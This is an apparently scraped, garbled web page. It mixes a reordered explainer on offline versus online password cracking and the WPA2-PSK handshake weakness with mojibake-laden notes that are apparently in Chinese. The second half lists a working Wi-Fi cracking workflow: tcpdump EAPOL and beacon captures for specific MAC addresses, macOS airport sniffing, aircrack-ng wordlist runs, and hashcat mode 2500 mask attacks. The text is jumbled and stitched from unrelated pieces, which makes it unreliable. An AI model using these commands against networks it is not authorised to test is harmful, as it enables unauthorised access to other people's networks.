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With the raw data captured, an attacker can use a tool like cowpatty or aircrack-ng along with a вЂњdictionary fileвЂќ that contains a list of many possible passwords. Image Credit: Mikm on Wikimedia Commons Cracking theВ WPAВ Handshake

The deauth attack forcibly disconnects your device from its Wi-FI network, and your device immediately reconnects, performing the four-way handshake which the attacker can capture. However, theyВ can also perform a вЂњdeauthвЂќ attack, which we covered when we looked at howВ your Wi-Fi network could be cracked. If an attacker waits long enough, theyвЂ™ll be able to capture this four-way handshake data when a device connects.

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TheyвЂ™d then have the raw data they need to perform an offline attack, guessing possible passphrases and trying them against the four-way-handshake data until they find one that matches. This handshake isВ WPA2-PSKвЂ™s AchillesвЂ™ heel.ДЄn attacker can use a tool like airodump-ng to monitor traffic being transmitted over the air and capture this four-way handshake. Essentially, this is the negotiation where the Wi-Fi base stationВ and a device set up their connection with each other, exchanging the passphraseВ and encryption information.

When a device connects to a WPA-PSK Wi-Fi network, something known as the вЂњfour-way handshakeвЂќ is performed.

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RELATED: How an Attacker Could Crack Your Wireless Network Security

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An attacker will have to guess a password and attempt to log into the WI-Fi network with it, so they certainly canвЂ™t guess millions of times per second. We tend to think of Wi-Fi as being only vulnerable to the online attack. (AppleвЂ™s iCloud wasnвЂ™t rate-limiting password guesses in this way, and that helped lead to the huge theft of nude celebrity photos.) Because they donвЂ™t have access to the raw data they can attempt to match passwords against, theyвЂ™reВ limited dramatically. They could guess a few passwords and then Gmail would block them from trying any more passwords for a while. For example, imagine an attacker were trying to gain access to your Gmail account. They do this via вЂњ brute-forcingвЂќ - literally attempting to guess many different possibilitiesВ and hoping one will match.ДЄn online attack is much more difficult and takes much, much longer. Clearly, with access to a password database offline, an attacker can attempt to crack a password much more easily. They can guess millions of times per second, and theyвЂ™re only really limited by how fast their computing hardware is.

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For example, if an attacker managed to access and download a password database full of hashed passwords, they could then attempt to crack those passwords. In an offline attack, an attacker has a file with data they can attempt to crack. There are two types of ways to potentially crack a password, generally referredВ to as offline and online. ?d?d?d?d?d?d?d?d : 8дёєж•°е—з ґи§Ј пјЊ?dд»ЈиЎЁж•°е— hashcat -m 2500 -a 3 /tmp/output.RELATED: Brute-Force Attacks Explained: How All Encryption is Vulnerable

е€ й™¤hashcat.potfileдёе†…е®№ find / -name 'hashcat.potfile' cap2hccapx.bin /tmp/airportSniffxQnNSI.cap /tmp/output.hccapx MERCURY_1B44Д©пјЊhashcatз ґи§ЈеЇ†з Ѓ hashcat -m 2500 /tmp/output.hccapx /root/pass.txtД©.1 hashcat и§„е€™з ґи§ЈеЇ†з Ѓ INFO: All hashes found in potfile ! Use -show to display them. $ aircrack-ng -w dic.txt wifiCap/handshake.capДҐпјЊи·‘е—е…ё aircrack-ng -w pass.txt /tmp/airportSniffxNVV5o.capДЄircrack-ng -w pass.txt -b e4:f3:f5:93:1b:42 /tmp/airportSniffxNVV5o.cap $ mergecap -a -F pcap -w handshake.cap beacon.cap cap.cap $ sudo tcpdump 'ether proto 0x888e and ether host e4:f3:f5:93:1b:42' -I -U -vvv -i en1 -w cap.cap $ sudo tcpdump 'ether proto 0x888e and ether host e4:f3:f5:33:11:22' -I -U -vvv -i en1 -w cap.cap

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Tcpdump: listening on en1, link-type IEEE802_11_RADIO (802.11 plus radiotap header ), capture size 262144 bytes $ sudo tcpdump 'type mgt subtype beacon and ether src e4:f3:f5:33:11:22' -I -c 1 -i en1 -w beacon.cap WPA (1 handshake) 1ж€ђеЉџжЉ“е€°жЏЎж‰‹еЊ… 4.1пјЊmacos mojave airport sniff жЉҐй”™ 1пјЊе®‰иЈ…е’Њж›ґж–°aircrack-ng brew search aircrack-ngДЄircrack-ng: stable 1.5.2 (bottled) 3пјЊжџҐзњ‹й™„иї‘wifi sudo ln -s /System/Library/PrivateFrameworks/amework/Versions/Current/Resources/airport /usr/local/bin/airportДЎ з ґи§ЈWi-FiдїЎйЃ“CHANNEL aircrack-ng /tmp/airportSniffxNVV5o.cap | grep 1B:42ДЄircrack-ng airportSniffxQnNSI.cap | grep '1 handshake'